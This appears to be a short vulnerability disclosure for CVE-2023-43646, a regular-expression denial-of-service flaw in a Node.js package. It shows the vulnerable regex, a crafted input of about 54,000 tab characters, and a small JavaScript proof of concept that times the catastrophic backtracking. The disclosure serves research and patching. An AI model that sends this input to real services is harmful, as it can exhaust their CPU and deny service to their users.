200101whoami/cve-2023-43646redos
CVE-2023-43646
CVSS : 8.6
Sep 26, 2023
ReDoS in node.js package
rebob 프로젝트의 일환
/\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/
This vulnerability can be exploited when there is an imbalance in parentheses, which results in excessive backtracking and subsequently increases the CPU load and processing time significantly. This vulnerability can be triggered using the following input:
'\t'.repeat(54773) + '\t/function/i'
Here is a simple PoC code to demonstrate the issue:
const protocolre = /\sfunction(?:\s|\s/[^(?:*\/)]+/\s*)*([^\(\/]+)/;
const startTime = Date.now();
const maliciousInput = '\t'.repeat(54773) + '\t/function/i'
protocolre.test(maliciousInput);
const endTime = Date.now();
console.log("process time: ", endTime - startTime, "ms");